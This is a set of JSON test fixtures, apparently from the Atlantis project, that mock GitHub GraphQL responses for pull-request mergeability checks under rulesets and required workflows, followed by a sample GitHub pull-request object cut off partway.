server/events/vcs/github/testdata/pull-request-mergeability/ruleset-check-failed.json ================================================ { "data": { "repository": { "pullRequest": { "reviewDecision": null, "baseRef": { "branchProtectionRule": { "requiredStatusChecks": [] }, "rules": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "type": "REQUIRED_STATUS_CHECKS", "repositoryRuleset": { "enforcement": "ACTIVE" }, "parameters": { "requiredStatusChecks": [ { "context": "atlantis/apply" }, { "context": "my-required-expected-check" } ] } } ] } }, "commits": { "nodes": [ { "commit": { "statusCheckRollup": { "contexts": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "__typename": "StatusContext", "context": "atlantis/apply", "state": "PENDING", "isRequired": true }, { "__typename": "StatusContext", "context": "atlantis/plan", "state": "SUCCESS", "isRequired": false }, { "__typename": "StatusContext", "context": "my-required-expected-check", "state": "FAILED", "isRequired": true } ] } } } } ] } } } } } ================================================ FILE: server/events/vcs/github/testdata/pull-request-mergeability/ruleset-check-neutral.json ================================================ { "data": { "repository": { "pullRequest": { "reviewDecision": null, "baseRef": { "branchProtectionRule": { "requiredStatusChecks": [] }, "rules": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "type": "REQUIRED_STATUS_CHECKS", "repositoryRuleset": { "enforcement": "ACTIVE" }, "parameters": { "requiredStatusChecks": [ { "context": "atlantis/apply" }, { "context": "my-required-expected-check" } ] } } ] } }, "commits": { "nodes": [ { "commit": { "statusCheckRollup": { "contexts": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "__typename": "StatusContext", "context": "atlantis/apply", "state": "PENDING", "isRequired": true }, { "__typename": "StatusContext", "context": "atlantis/plan", "state": "SUCCESS", "isRequired": false }, { "__typename": "CheckRun", "name": "my-required-expected-check", "conclusion": "NEUTRAL", "isRequired": true } ] } } } } ] } } } } } ================================================ FILE: server/events/vcs/github/testdata/pull-request-mergeability/ruleset-check-passed.json ================================================ { "data": { "repository": { "pullRequest": { "reviewDecision": null, "baseRef": { "branchProtectionRule": { "requiredStatusChecks": [] }, "rules": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "type": "REQUIRED_STATUS_CHECKS", "repositoryRuleset": { "enforcement": "ACTIVE" }, "parameters": { "requiredStatusChecks": [ { "context": "atlantis/apply" }, { "context": "my-required-expected-check" } ] } } ] } }, "commits": { "nodes": [ { "commit": { "statusCheckRollup": { "contexts": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "__typename": "StatusContext", "context": "atlantis/apply", "state": "PENDING", "isRequired": true }, { "__typename": "StatusContext", "context": "atlantis/plan", "state": "SUCCESS", "isRequired": false }, { "__typename": "StatusContext", "context": "my-required-expected-check", "state": "SUCCESS", "isRequired": true } ] } } } } ] } } } } } ================================================ FILE: server/events/vcs/github/testdata/pull-request-mergeability/ruleset-check-pending-other-atlantis.json ================================================ { "data": { "repository": { "pullRequest": { "reviewDecision": null, "baseRef": { "branchProtectionRule": { "requiredStatusChecks": [] }, "rules": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "type": "REQUIRED_STATUS_CHECKS", "repositoryRuleset": { "enforcement": "ACTIVE" }, "parameters": { "requiredStatusChecks": [ { "context": "atlantis/apply" }, { "context": "other-atlantis/apply" } ] } } ] } }, "commits": { "nodes": [ { "commit": { "statusCheckRollup": { "contexts": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "__typename": "StatusContext", "context": "atlantis/apply", "state": "PENDING", "isRequired": true }, { "__typename": "StatusContext", "context": "atlantis/plan", "state": "SUCCESS", "isRequired": false }, { "__typename": "StatusContext", "context": "other-atlantis/apply", "state": "PENDING", "isRequired": true }, { "__typename": "StatusContext", "context": "other-atlantis/plan", "state": "PENDING", "isRequired": false } ] } } } } ] } } } } } ================================================ FILE: server/events/vcs/github/testdata/pull-request-mergeability/ruleset-check-pending.json ================================================ { "data": { "repository": { "pullRequest": { "reviewDecision": null, "baseRef": { "branchProtectionRule": { "requiredStatusChecks": [] }, "rules": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "type": "REQUIRED_STATUS_CHECKS", "repositoryRuleset": { "enforcement": "ACTIVE" }, "parameters": { "requiredStatusChecks": [ { "context": "atlantis/apply" }, { "context": "my-required-expected-check" } ] } } ] } }, "commits": { "nodes": [ { "commit": { "statusCheckRollup": { "contexts": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "__typename": "StatusContext", "context": "atlantis/apply", "state": "PENDING", "isRequired": true }, { "__typename": "StatusContext", "context": "atlantis/plan", "state": "SUCCESS", "isRequired": false }, { "__typename": "StatusContext", "context": "my-required-expected-check", "state": "PENDING", "isRequired": true } ] } } } } ] } } } } } ================================================ FILE: server/events/vcs/github/testdata/pull-request-mergeability/ruleset-check-skipped.json ================================================ { "data": { "repository": { "pullRequest": { "reviewDecision": null, "baseRef": { "branchProtectionRule": { "requiredStatusChecks": [] }, "rules": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "type": "REQUIRED_STATUS_CHECKS", "repositoryRuleset": { "enforcement": "ACTIVE" }, "parameters": { "requiredStatusChecks": [ { "context": "atlantis/apply" }, { "context": "my-required-expected-check" } ] } } ] } }, "commits": { "nodes": [ { "commit": { "statusCheckRollup": { "contexts": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "__typename": "StatusContext", "context": "atlantis/apply", "state": "PENDING", "isRequired": true }, { "__typename": "StatusContext", "context": "atlantis/plan", "state": "SUCCESS", "isRequired": false }, { "__typename": "CheckRun", "name": "my-required-expected-check", "conclusion": "SKIPPED", "isRequired": true } ] } } } } ] } } } } } ================================================ FILE: server/events/vcs/github/testdata/pull-request-mergeability/ruleset-evaluate-workflow-failed.json ================================================ { "data": { "repository": { "pullRequest": { "reviewDecision": null, "baseRef": { "branchProtectionRule": { "requiredStatusChecks": [] }, "rules": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "type": "REQUIRED_STATUS_CHECKS", "repositoryRuleset": { "enforcement": "ACTIVE" }, "parameters": { "requiredStatusChecks": [ { "context": "atlantis/apply" } ] } }, { "type": "WORKFLOWS", "repositoryRuleset": { "enforcement": "EVALUATE" }, "parameters": { "workflows": [ { "path": ".github/workflows/my-required-workflow.yaml", "repositoryId": 120519269, "sha": null } ] } } ] } }, "commits": { "nodes": [ { "commit": { "statusCheckRollup": { "contexts": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "__typename": "StatusContext", "context": "atlantis/apply", "state": "PENDING", "isRequired": true }, { "__typename": "StatusContext", "context": "atlantis/plan", "state": "SUCCESS", "isRequired": false }, { "__typename": "CheckRun", "name": "my required (evaluate-enforcement) check", "conclusion": "FAILURE", "isRequired": true, "checkSuite": { "conclusion": "FAILURE", "workflowRun": { "file": { "path": ".github/workflows/my-required-workflow.yaml", "repositoryFileUrl": "https://github.com/runatlantis/atlantis/blob/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/.github/workflows/my-required-workflow.yaml", "repositoryName": "runatlantis/atlantis" }, "runNumber": 1 } } } ] } } } } ] } } } } } ================================================ FILE: server/events/vcs/github/testdata/pull-request-mergeability/ruleset-optional-check-failed.json ================================================ { "data": { "repository": { "pullRequest": { "reviewDecision": null, "baseRef": { "branchProtectionRule": { "requiredStatusChecks": [] }, "rules": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "type": "REQUIRED_STATUS_CHECKS", "repositoryRuleset": { "enforcement": "ACTIVE" }, "parameters": { "requiredStatusChecks": [ { "context": "atlantis/apply" } ] } } ] } }, "commits": { "nodes": [ { "commit": { "statusCheckRollup": { "contexts": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "__typename": "StatusContext", "context": "atlantis/apply", "state": "PENDING", "isRequired": true }, { "__typename": "StatusContext", "context": "atlantis/plan", "state": "SUCCESS", "isRequired": false }, { "__typename": "CheckRun", "name": "my-optional-check", "conclusion": "FAILURE", "isRequired": false } ] } } } } ] } } } } } ================================================ FILE: server/events/vcs/github/testdata/pull-request-mergeability/ruleset-optional-status-failed.json ================================================ { "data": { "repository": { "pullRequest": { "reviewDecision": null, "baseRef": { "branchProtectionRule": { "requiredStatusChecks": [] }, "rules": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "type": "REQUIRED_STATUS_CHECKS", "repositoryRuleset": { "enforcement": "ACTIVE" }, "parameters": { "requiredStatusChecks": [ { "context": "atlantis/apply" } ] } } ] } }, "commits": { "nodes": [ { "commit": { "statusCheckRollup": { "contexts": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "__typename": "StatusContext", "context": "atlantis/apply", "state": "PENDING", "isRequired": true }, { "__typename": "StatusContext", "context": "atlantis/plan", "state": "SUCCESS", "isRequired": false }, { "__typename": "StatusContext", "context": "my-optional-check", "state": "FAILURE", "isRequired": false } ] } } } } ] } } } } } ================================================ FILE: server/events/vcs/github/testdata/pull-request-mergeability/ruleset-workflow-expected.json ================================================ { "data": { "repository": { "pullRequest": { "reviewDecision": null, "baseRef": { "branchProtectionRule": { "requiredStatusChecks": [] }, "rules": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "type": "REQUIRED_STATUS_CHECKS", "repositoryRuleset": { "enforcement": "ACTIVE" }, "parameters": { "requiredStatusChecks": [ { "context": "atlantis/apply" } ] } }, { "type": "WORKFLOWS", "repositoryRuleset": { "enforcement": "ACTIVE" }, "parameters": { "workflows": [ { "path": ".github/workflows/my-required-workflow.yaml", "repositoryId": 120519269, "sha": null } ] } } ] } }, "commits": { "nodes": [ { "commit": { "statusCheckRollup": { "contexts": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "__typename": "StatusContext", "context": "atlantis/apply", "state": "PENDING", "isRequired": true }, { "__typename": "StatusContext", "context": "atlantis/plan", "state": "SUCCESS", "isRequired": false } ] } } } } ] } } } } } ================================================ FILE: server/events/vcs/github/testdata/pull-request-mergeability/ruleset-workflow-failed-first-check-successful.json ================================================ { "data": { "repository": { "pullRequest": { "reviewDecision": null, "baseRef": { "branchProtectionRule": { "requiredStatusChecks": [] }, "rules": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "type": "REQUIRED_STATUS_CHECKS", "repositoryRuleset": { "enforcement": "ACTIVE" }, "parameters": { "requiredStatusChecks": [ { "context": "atlantis/apply" } ] } }, { "type": "WORKFLOWS", "repositoryRuleset": { "enforcement": "ACTIVE" }, "parameters": { "workflows": [ { "path": ".github/workflows/my-required-workflow.yaml", "repositoryId": 120519269, "sha": null } ] } } ] } }, "commits": { "nodes": [ { "commit": { "statusCheckRollup": { "contexts": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "__typename": "StatusContext", "context": "atlantis/apply", "state": "PENDING", "isRequired": true }, { "__typename": "StatusContext", "context": "atlantis/plan", "state": "SUCCESS", "isRequired": false }, { "__typename": "CheckRun", "name": "first check", "conclusion": "SUCCESS", "isRequired": true, "checkSuite": { "conclusion": "FAILURE", "workflowRun": { "file": { "path": ".github/workflows/my-required-workflow.yaml", "repositoryFileUrl": "https://github.com/runatlantis/atlantis/blob/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/.github/workflows/my-required-workflow.yaml", "repositoryName": "runatlantis/atlantis" }, "runNumber": 1 } } }, { "__typename": "CheckRun", "name": "second check", "conclusion": "FAILURE", "isRequired": true, "checkSuite": { "conclusion": "FAILURE", "workflowRun": { "file": { "path": ".github/workflows/my-required-workflow.yaml", "repositoryFileUrl": "https://github.com/runatlantis/atlantis/blob/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/.github/workflows/my-required-workflow.yaml", "repositoryName": "runatlantis/atlantis" }, "runNumber": 1 } } } ] } } } } ] } } } } } ================================================ FILE: server/events/vcs/github/testdata/pull-request-mergeability/ruleset-workflow-failed.json ================================================ { "data": { "repository": { "pullRequest": { "reviewDecision": null, "baseRef": { "branchProtectionRule": { "requiredStatusChecks": [] }, "rules": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "type": "REQUIRED_STATUS_CHECKS", "repositoryRuleset": { "enforcement": "ACTIVE" }, "parameters": { "requiredStatusChecks": [ { "context": "atlantis/apply" } ] } }, { "type": "WORKFLOWS", "repositoryRuleset": { "enforcement": "ACTIVE" }, "parameters": { "workflows": [ { "path": ".github/workflows/my-required-workflow.yaml", "repositoryId": 120519269, "sha": null } ] } } ] } }, "commits": { "nodes": [ { "commit": { "statusCheckRollup": { "contexts": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "__typename": "StatusContext", "context": "atlantis/apply", "state": "PENDING", "isRequired": true }, { "__typename": "StatusContext", "context": "atlantis/plan", "state": "SUCCESS", "isRequired": false }, { "__typename": "CheckRun", "name": "my required check", "conclusion": "FAILURE", "isRequired": true, "checkSuite": { "conclusion": "FAILURE", "workflowRun": { "file": { "path": ".github/workflows/my-required-workflow.yaml", "repositoryFileUrl": "https://github.com/runatlantis/atlantis/blob/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/.github/workflows/my-required-workflow.yaml", "repositoryName": "runatlantis/atlantis" }, "runNumber": 1 } } } ] } } } } ] } } } } } ================================================ FILE: server/events/vcs/github/testdata/pull-request-mergeability/ruleset-workflow-passed-multiple-runs.json ================================================ { "data": { "repository": { "pullRequest": { "reviewDecision": null, "baseRef": { "branchProtectionRule": { "requiredStatusChecks": [] }, "rules": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "type": "REQUIRED_STATUS_CHECKS", "repositoryRuleset": { "enforcement": "ACTIVE" }, "parameters": { "requiredStatusChecks": [ { "context": "atlantis/apply" } ] } }, { "type": "WORKFLOWS", "repositoryRuleset": { "enforcement": "ACTIVE" }, "parameters": { "workflows": [ { "path": ".github/workflows/my-required-workflow.yaml", "repositoryId": 120519269, "sha": null } ] } } ] } }, "commits": { "nodes": [ { "commit": { "statusCheckRollup": { "contexts": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "__typename": "StatusContext", "context": "atlantis/apply", "state": "PENDING", "isRequired": true }, { "__typename": "StatusContext", "context": "atlantis/plan", "state": "SUCCESS", "isRequired": false }, { "__typename": "CheckRun", "name": "my required check", "conclusion": "FAILURE", "isRequired": true, "checkSuite": { "conclusion": "FAILURE", "workflowRun": { "file": { "path": ".github/workflows/my-required-workflow.yaml", "repositoryFileUrl": "https://github.com/runatlantis/atlantis/blob/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/.github/workflows/my-required-workflow.yaml", "repositoryName": "runatlantis/atlantis" }, "runNumber": 1 } } }, { "__typename": "CheckRun", "name": "my required check", "conclusion": "SUCCESS", "isRequired": true, "checkSuite": { "conclusion": "SUCCESS", "workflowRun": { "file": { "path": ".github/workflows/my-required-workflow.yaml", "repositoryFileUrl": "https://github.com/runatlantis/atlantis/blob/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/.github/workflows/my-required-workflow.yaml", "repositoryName": "runatlantis/atlantis" }, "runNumber": 2 } } } ] } } } } ] } } } } } ================================================ FILE: server/events/vcs/github/testdata/pull-request-mergeability/ruleset-workflow-passed-sha-match.json ================================================ { "data": { "repository": { "pullRequest": { "reviewDecision": null, "baseRef": { "branchProtectionRule": { "requiredStatusChecks": [] }, "rules": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "type": "REQUIRED_STATUS_CHECKS", "repositoryRuleset": { "enforcement": "ACTIVE" }, "parameters": { "requiredStatusChecks": [ { "context": "atlantis/apply" } ] } }, { "type": "WORKFLOWS", "repositoryRuleset": { "enforcement": "ACTIVE" }, "parameters": { "workflows": [ { "path": ".github/workflows/my-required-workflow.yaml", "repositoryId": 120519269, "sha": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" } ] } } ] } }, "commits": { "nodes": [ { "commit": { "statusCheckRollup": { "contexts": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "__typename": "StatusContext", "context": "atlantis/apply", "state": "PENDING", "isRequired": true }, { "__typename": "StatusContext", "context": "atlantis/plan", "state": "SUCCESS", "isRequired": false }, { "__typename": "CheckRun", "name": "my required check", "conclusion": "SUCCESS", "isRequired": true, "checkSuite": { "conclusion": "SUCCESS", "workflowRun": { "file": { "path": ".github/workflows/my-required-workflow.yaml", "repositoryFileUrl": "https://github.com/runatlantis/atlantis/blob/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/.github/workflows/my-required-workflow.yaml", "repositoryName": "runatlantis/atlantis" }, "runNumber": 1 } } } ] } } } } ] } } } } } ================================================ FILE: server/events/vcs/github/testdata/pull-request-mergeability/ruleset-workflow-passed-sha-mismatch.json ================================================ { "data": { "repository": { "pullRequest": { "reviewDecision": null, "baseRef": { "branchProtectionRule": { "requiredStatusChecks": [] }, "rules": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "type": "REQUIRED_STATUS_CHECKS", "repositoryRuleset": { "enforcement": "ACTIVE" }, "parameters": { "requiredStatusChecks": [ { "context": "atlantis/apply" } ] } }, { "type": "WORKFLOWS", "repositoryRuleset": { "enforcement": "ACTIVE" }, "parameters": { "workflows": [ { "path": ".github/workflows/my-required-workflow.yaml", "repositoryId": 120519269, "sha": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" } ] } } ] } }, "commits": { "nodes": [ { "commit": { "statusCheckRollup": { "contexts": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "__typename": "StatusContext", "context": "atlantis/apply", "state": "PENDING", "isRequired": true }, { "__typename": "StatusContext", "context": "atlantis/plan", "state": "SUCCESS", "isRequired": false }, { "__typename": "CheckRun", "name": "my required check", "conclusion": "SUCCESS", "isRequired": true, "checkSuite": { "conclusion": "SUCCESS", "workflowRun": { "file": { "path": ".github/workflows/my-required-workflow.yaml", "repositoryFileUrl": "https://github.com/runatlantis/atlantis/blob/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/.github/workflows/my-required-workflow.yaml", "repositoryName": "runatlantis/atlantis" }, "runNumber": 1 } } } ] } } } } ] } } } } } ================================================ FILE: server/events/vcs/github/testdata/pull-request-mergeability/ruleset-workflow-passed-with-global-codeql.json ================================================ { "data": { "repository": { "pullRequest": { "reviewDecision": null, "baseRef": { "branchProtectionRule": { "requiredStatusChecks": [] }, "rules": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "type": "REQUIRED_STATUS_CHECKS", "repositoryRuleset": { "enforcement": "ACTIVE" }, "parameters": { "requiredStatusChecks": [ { "context": "atlantis/apply" } ] } }, { "type": "WORKFLOWS", "repositoryRuleset": { "enforcement": "ACTIVE" }, "parameters": { "workflows": [ { "path": ".github/workflows/my-required-workflow.yaml", "repositoryId": 120519269, "sha": null } ] } } ] } }, "commits": { "nodes": [ { "commit": { "statusCheckRollup": { "contexts": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "__typename": "CheckRun", "conclusion": "SUCCESS", "name": "Analyze (actions)", "checkSuite": { "conclusion": "SUCCESS", "workflowRun": { "runNumber": 208, "file": null } } }, { "__typename": "StatusContext", "context": "atlantis/apply", "state": "PENDING", "isRequired": true }, { "__typename": "StatusContext", "context": "atlantis/plan", "state": "SUCCESS", "isRequired": false }, { "__typename": "CheckRun", "name": "my required check", "conclusion": "SUCCESS", "isRequired": true, "checkSuite": { "conclusion": "SUCCESS", "workflowRun": { "file": { "path": ".github/workflows/my-required-workflow.yaml", "repositoryFileUrl": "https://github.com/runatlantis/atlantis/blob/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/.github/workflows/my-required-workflow.yaml", "repositoryName": "runatlantis/atlantis" }, "runNumber": 1 } } } ] } } } } ] } } } } } ================================================ FILE: server/events/vcs/github/testdata/pull-request-mergeability/ruleset-workflow-passed.json ================================================ { "data": { "repository": { "pullRequest": { "reviewDecision": null, "baseRef": { "branchProtectionRule": { "requiredStatusChecks": [] }, "rules": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "type": "REQUIRED_STATUS_CHECKS", "repositoryRuleset": { "enforcement": "ACTIVE" }, "parameters": { "requiredStatusChecks": [ { "context": "atlantis/apply" } ] } }, { "type": "WORKFLOWS", "repositoryRuleset": { "enforcement": "ACTIVE" }, "parameters": { "workflows": [ { "path": ".github/workflows/my-required-workflow.yaml", "repositoryId": 120519269, "sha": null } ] } } ] } }, "commits": { "nodes": [ { "commit": { "statusCheckRollup": { "contexts": { "pageInfo": { "endCursor": "QWERTY", "hasNextPage": false }, "nodes": [ { "__typename": "StatusContext", "context": "atlantis/apply", "state": "PENDING", "isRequired": true }, { "__typename": "StatusContext", "context": "atlantis/plan", "state": "SUCCESS", "isRequired": false }, { "__typename": "CheckRun", "name": "my required check", "conclusion": "SUCCESS", "isRequired": true, "checkSuite": { "conclusion": "SUCCESS", "workflowRun": { "file": { "path": ".github/workflows/my-required-workflow.yaml", "repositoryFileUrl": "https://github.com/runatlantis/atlantis/blob/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/.github/workflows/my-required-workflow.yaml", "repositoryName": "runatlantis/atlantis" }, "runNumber": 1 } } } ] } } } } ] } } } } } ================================================ FILE: server/events/vcs/github/testdata/pull-request.json ================================================ { "url": "https://api.github.com/repos/octocat/Hello-World/pulls/1347", "id": 1, "node_id": "MDExOlB1bGxSZXF1ZXN0MQ==", "html_url": "https://github.com/octocat/Hello-World/pull/1347", "diff_url": "https://github.com/octocat/Hello-World/pull/1347.diff", "patch_url": "https://github.com/octocat/Hello-World/pull/1347.patch", "issue_url": "https://api.github.com/repos/octocat/Hello-World/issues/1347", "commits_url": "https://api.github.com/repos/octocat/Hello-World/pulls/1347/commits", "review_comments_url": "https://api.github.com/repos/octocat/Hello-World/pulls/1347/comments", "review_comment_url": "https://api.github.com/repos/octocat/Hello-World/pulls/comments{/number}", "comments_url": "https://api.github.com/repos/octocat/Hello-World/issues/1347/comments", "statuses_url": "https://api.github.com/repos/octocat/Hello-World/statuses/6dcb09b5b57875f334f61aebed695e2e4193db5e", "number": 1347, "state": "open", "locked": true, "title": "new-feature", "user": { "login": "octocat", "id": 1, "node_id": "MDQ6VXNlcjE=", "avatar_url": "https://github.com/images/error/octocat_happy.gif", "gravatar_id": "", "url": "https://api.github.com/users/octocat", "html_url": "https://github.com/octocat", "followers_url": "https://api.github.com/users/octocat/followers", "following_url": "https://api.github.com/users/octocat/following{/other_user}", "gists_url": "https://api.github.com/users/octocat/gists{/gist_id}", "starred_url": "https://api.github.com/users/octocat/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/octocat/subscriptions", "organizations_url": "https://api.github.com/users/octocat/orgs", "repos_url": "https://api.github.com/users/octocat/repos", "events_url": "https://api.github.com/users/octocat/events{/privacy}", "received_events_url": "https://api.github.com/users/octocat/received_events", "type": "User", "site_admin": false }, "body": "Please pull these awesome changes", "labels": [ { "id": 208045946, "node_id": "MDU6TGFiZWwyMDgwNDU5NDY=", "url": "https://api.github.com/repos/octocat/Hello-World/labels/bug", "name": "bug", "description": "Something isn't working", "color": "f29513", "default": true } ], "milestone": { "url": "https://api.github.com/repos/octocat/Hello-World/milestones/1", "html_url": "https://github.com/octocat/Hello-World/milestones/v1.0", "labels_url": "https://api.github.com/repos/octocat/Hello-World/milestones/1/labels", "id": 1002604, "node_id": "MDk6TWlsZXN0b25lMTAwMjYwNA==", "number": 1, "state": "open", "title": "v1.0", "description": "Tracking milestone for version 1.0", "creator": { "login": "octocat", "id": 1, "node_id": "MDQ6VXNlcjE=", "avatar_url": "https://github.com/images/error/octocat_happy.gif", "gravatar_id": "", "url": "https://api.github.com/users/octocat", "html_url": "https://github.com/octocat", "followers_url": "https://api.github.com/users/octocat/followers", "following_url": "https://api.github.com/users/octocat/following{/other_user}", "gists_url": "https://api.github.com/users/octocat/gists{/gist_id}", "starred_url": "https://api.github.com/users/octocat/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/octocat/subscriptions", "organizations_url": "https://api.github.com/users/octocat/orgs", "repos_url": "https://api.github.com/users/octocat/repos", "events_url": "https://api.github.com/users/octocat/events{/privacy}", "received_events_url": "https://api.github.com/users/octocat/received_events", "type": "User", "site_admin": false }, "open_issues": 4, "closed_issues": 8, "created_at": "2011-04-10T20:09:31Z", "updated_at": "2014-03-03T18:58:10Z", "closed_at": "2013-02-12T13:22:01Z", "due_on": "2012-10-09T23:39:01Z" }, "active_lock_reason": "too heated", "created_at": "2011-01-26T19:01:12Z", "updated_at": "2011-01-26T19:01:12Z", "closed_at": "2011-01-26T19:01:12Z", "merged_at": "2011-01-26T19:01:12Z", "merge_commit_sha": "e5bd3914e2e596debea16f433f57875b5b90bcd6", "assignee": { "login": "octocat", "id": 1, "node_id": "MDQ6VXNlcjE=", "avatar_url": "https://github.com/images/error/octocat_happy.gif", "gravatar_id": "", "url": "https://api.github.com/users/octocat", "html_url": "https://github.com/octocat", "followers_url": "https://api.github.com/users/octocat/followers", "following_url": "https://api.github.com/users/octocat/following{/other_user}", "gists_url": "https://api.github.com/users/octocat/gists{/gist_id}", "starred_url": "https://api.github.com/users/octocat/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/octocat/subscriptions", "organizations_url": "https://api.github.com/users/octocat/orgs", "repos_url": "https://api.github.com/users/octocat/repos", "events_url": "https://api.github.com/users/octocat/events{/privacy}", "received_events_url": "https://api.github.com/users/octocat/received_events", "type": "User", "site_admin": false }, "assignees": [ { "login": "octocat", "id": 1, "node_id": "MDQ6VXNlcjE=", "avatar_url": "https://github.com/images/error/octocat_happy.gif", "gravatar_id": "", "url": "https://api.github.com/users/octocat", "html_url": "https://github.com/octocat", "followers_url": "https://api.github.com/users/octocat/followers", "following_url": "https://api.github.com/users/octocat/following{/other_user}", "gists_url": "https://api.github.com/users/octocat/gists{/gist_id}", "starred_url": "https://api.github.com/users/octocat/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/octocat/subscriptions", "organizations_url": "https://api.github.com/users/octocat/orgs", "repos_url": "https://api.github.com/users/octocat/repos", "events_url": "https://api.github.com/users/octocat/events{/privacy}", "received_events_url": "https://api.github.com/users/octocat/received_events", "type": "User", "site_admin": false }, { "login": "hubot", "id": 1, "node_id": "MDQ6VXNlcjE=", "avatar_url": "https://github.com/images/error/hubot_happy.gif", "gravatar_id": "", "url": "https://api.github.com/users/hubot", "html_url": "https://github.com/hubot", "followers_url": "https://api.github.com/users/hubot/followers", "following_url": "https://api.github.com/users/hubot/following{/other_user}", "gists_url": "https://api.github.com/users/hubot/gists{/gist_id}", "starred_url": "https://api.github.com/users/hubot/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/hubot/subscriptions", "organizations_url": "https://api.github.com/users/hubot/orgs", "repos_url": "https://api.github.com/users/hubot/repos", "events_url": "https://api.github.com/users/hubot/events{/privacy}", "received_events_url": "https://api.github.com/users/hubot/received_events", "type": "User", "site_admin": true } ], "requested_reviewers": [ { "login": "other_user", "id": 1, "node_id": "MDQ6VXNlcjE=", "avatar_url": "https://github.com/images/error/other_user_happy.gif", "gravatar_id": "", "url": "https://api.github.com/users/other_user", "html_url": "https://github.com/other_user", "followers_url": "https://api.github.com/users/other_user/followers", "following_url": "https://api.github.com/users/other_user/following{/other_user}", "gists_url": "https://api.github.com/users/other_user/gists{/gist_id}", "starred_url": "https://api.github.com/users/other_user/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/other_user/subscriptions", "organizations_url": "https://api.github.com/users/other_user/orgs", "repos_url": "https://api.github.com/users/other_user/repos", "events_url": "https://api.github.com/users/other_user/events{/privacy}", "received_events_url": "https://api.github.com/users/other_user/received_events", "type": "User", "site_admin": false } ], "requested_teams": [ { "id": 1, "node_id": "MDQ6VGVhbTE=", "url": "https://api.github.com/teams/1", "name": "Justice League", "slug": "justice-league", "description": "A great team.", "privacy": "closed", "permission": "admin", "members_url": "https://api.github.com/teams/1/members{/member}", "repositories_url": "https://api.github.com/teams/1/repos", "parent": null } ], "head": { "label": "new-topic", "ref": "new-topic", "sha": "6dcb09b5b57875f334f61aebed695e2e4193db5e", "user": { "login": "octocat", "id": 1, "node_id": "MDQ6VXNlcjE=", "avatar_url": "https://github.com/images/error/octocat_happy.gif", "gravatar_id": "", "url": "https://api.github.com/users/octocat", "html_url": "https://github.com/octocat", "followers_url": "https://api.github.com/users/octocat/followers", "following_url": "https://api.github.com/users/octocat/following{/other_user}", "gists_url": "https://api.github.com/users/octocat/gists{/gist_id}", "starred_url": "https://api.github.com/users/octocat/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/octocat/subscriptions", "organizations_url": "https://api.github.com/users/octocat/orgs", "repos_url": "https://api.github.com/users/octocat/repos", "events_url": "https://api.github.com/users/octocat/events{/privacy}", "received_events_url": "https://api.github.com/users/octocat/received_events", "type": "User", "site_admin": false }, "repo": { "id": 1296269, "node_id": "MDEwOlJlcG9zaXRvcnkxMjk2MjY5", "name": "Hello-World", 